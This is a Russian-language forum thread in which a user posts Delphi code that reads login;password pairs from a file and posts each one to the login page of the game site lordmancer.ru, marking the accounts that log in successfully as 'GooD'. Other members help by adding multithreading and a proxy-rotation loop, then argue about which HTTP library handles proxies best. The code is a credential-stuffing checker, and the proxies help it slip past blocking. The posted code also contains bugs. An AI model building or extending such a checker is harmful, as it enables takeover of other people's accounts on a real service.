[Помогите!] прокси и потоки

[kpacab4uk7]

Вот собственно мой ервый кривой код)) И как сюда добавить потоки и прокси))

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, StdCtrls, httpsend;

type
  TForm1 = class(TForm)
    Button1: TButton;
    idhttp1: TIdHTTP;
    mmo1: TMemo;
    mmo2: TMemo;
    Button2: TButton;
    dlgOpen1: TOpenDialog;
    dlgSave1: TSaveDialog;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var

a,log,pas:string;
Data:TStringList;
Request:String;
HTTP:TIdHTTP;
i:Integer;



 begin

     for i:=0 to mmo1.Lines.Count-1 do
begin


Data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
HTTP.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';


log:=Copy(Form1.Mmo1.Lines.Strings[i],0,Pos(';',Form1.Mmo1.Lines.Strings[i])-1);
pas:=Copy (Form1.Mmo1.Lines.Strings[i],Pos(';',Form1.Mmo1.Lines.Strings[i])+1,1000);
 Data.Add('userNumber='+log);
 Data.Add('password='+pas);


 Request:=HTTP.Post('http://www.lordmancer.ru/index.php?p=101', Data);
 if Pos('logout', Request)>0 then
 begin
     mmo2.Lines.Add('GooD');

 end
 else
 begin
   mmo2.Lines.Add('BaD');

 end;
  //finally
  Data.Free;
  Request:='';
  HTTP.Free;

  end;
  end;
procedure TForm1.Button2Click(Sender: TObject);

begin
  if dlgOpen1.Execute then
  begin
mmo1.Lines.LoadFromFile(dlgOpen1.FileName);
end;
end;


end.

[=PaLeTiZaToR=]

есле ты говоришь что это твой первый код .... то он не твой )

[kpacab4uk7]

ну я по видео делал))

Добавлено через 16 минут
ну так как это сделать поможете?

[pavel!]

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  StdCtrls;


type
    TForm1 = class(TForm)
    Button1: TButton;
    idhttp1: TIdHTTP;
    mmo1: TMemo;
    mmo2: TMemo;
    Button2: TButton;
    dlgOpen1: TOpenDialog;
    dlgSave1: TSaveDialog;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

  TNewThread = class(TThread)
  private
  protected
    procedure Execute; override;
  public
    constructor Create(CreateSuspended: Boolean);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 TNewThread.Create(false);
end;

procedure TNewThread.Execute;
var

a,log,pas:string;
Data:TStringList;
Request:String;
HTTP:TIdHTTP;
i:Integer;

 begin

     for i:=0 to mmo1.Lines.Count-1 do
begin


Data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
HTTP.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)';


log:=Copy(Form1.Mmo1.Lines.Strings[i],0,Pos(';',Form1.Mmo1.Lines.Strings[i])-1);
pas:=Copy (Form1.Mmo1.Lines.Strings[i],Pos(';',Form1.Mmo1.Lines.Strings[i])+1,1000);
 Data.Add('userNumber='+log);
 Data.Add('password='+pas);


 Request:=HTTP.Post('http://www.lordmancer.ru/index.php?p=101', Data);
 if Pos('logout', Request)>0 then
 begin
     mmo2.Lines.Add('GooD');

 end
 else
 begin
   mmo2.Lines.Add('BaD');

 end;
  //finally
  Data.Free;
  Request:='';
  HTTP.Free;

  end;
  end;
procedure TForm1.Button2Click(Sender: TObject);

begin
  if dlgOpen1.Execute then
  begin
mmo1.Lines.LoadFromFile(dlgOpen1.FileName);
end;
end;


end.

end.

Точно не помню как, надо делфи открывать, а так просто дописал в твой код.
возможны ошибки т.к еще раз говорю делфи не открывал не тестил, и да программа будит в потоке, т.е не будит зависать.
Вроде ты это просил или я тебя не понел?

[kpacab4uk7]

это просил)) Спасибо)) Ща проверю)

[pavel!]

а это цикл прокси

ProxyList:Tstringlist;

ProxyList:=Tstringlist.create;
ProxyList.LoadFromFile('proxy.txt');

i:=0;

while i<ProxyList.Count do
begin
IdHTTP.ProxyParams.ProxyServer:=Copy(ProxyList[i],1,Pos(':',ProxyList[i])-1);
IdHTTP.ProxyParams.ProxyPort:=StrToInt(Copy(ProxyL ist[i],Pos(':',ProxyList[i])+1,Length(ProxyList[i])-Pos(':',ProxyList[i])));

Тут делаем запрос

inc(i);
end;

© Zdez Bill Ya

[Tip.the.besT]

На инди с прокси ничего хорошего не выйдет. Для работы с прокси нужно юзать synapse например.

[VeTaL_UA]

Цитата: Сообщение от Tip.the.besT На инди с прокси ничего хорошего не выйдет.

Аргументируй.

[Tip.the.besT]

Цитата: Сообщение от VeTaL_UA Аргументируй.

В общем сколько я не пытался сделать, что бы нормально работали http прокси в инди, у меня так и не получилось. Я пришёл к выводу, что какой- то баг.

Допустим я присваиваю проксю и делаю запрос. Первые несколько вроде нормально. Но соответственно, во избежание непредвиденных ситуаций я ставлю исключение. Допустим я беру из стринглиста первую проксю и совершаю запрос, после чего если всё нормально, то я добавляю её в конец списка, иначе(исключение), я удаляю её.

Вроде бы логика понятна, и в многопоточном приложение вроде выходить должно кашерно, но как же без - "но". Через некоторое время инди клинит и удаляются все прокси. Я не нашёл решение данной проблемы.

В синапсе с таким не сталкиваюсь, всё работает на ура. И исходя из собственного опыта и потерянного времени, советую человеку не мучиться.

[Рэйзор]

Цитата: Сообщение от Tip.the.besT Через некоторое время инди клинит и удаляются все прокси. .

Сударь, вы же сами прокси удаляете из стринглиста, зачем клевещите на годную библиотеку?

[Tip.the.besT]

Цитата: Сообщение от Z.Рэйзор Сударь, вы же сами прокси удаляете из стринглиста, зачем клевещите на годную библиотеку?

Ну дак я её удаляю временно, пока она используется. И если она рабочая то она возвращается, не понимаю, что не ясно?

А что вы предлагаете?

[VeTaL_UA]

Tip.the.besT, в чём вина библиотеки?

[Tip.the.besT]

Цитата: Сообщение от VeTaL_UA Tip.the.besT, в чём вина библиотеки?

Цитата: Сообщение от Tip.the.besT Через некоторое время инди клинит и удаляются все прокси.

В этом и вина, а точнее глюк. Абсолютно такой же алгоритм на синапсе прекрасно работает.

[Skrillex3]

Цитата: Сообщение от Tip.the.besT В этом и вина, а точнее глюк. Абсолютно такой же алгоритм на синапсе прекрасно работает.

всё прекрасно в индусовской библиотеке с проксями , возможно у Вас руки кривые?

[VeTaL_UA]

Tip.the.besT, так прокси удаляются не библиотекой, а вашим кодом. При чём тут сама библиотека?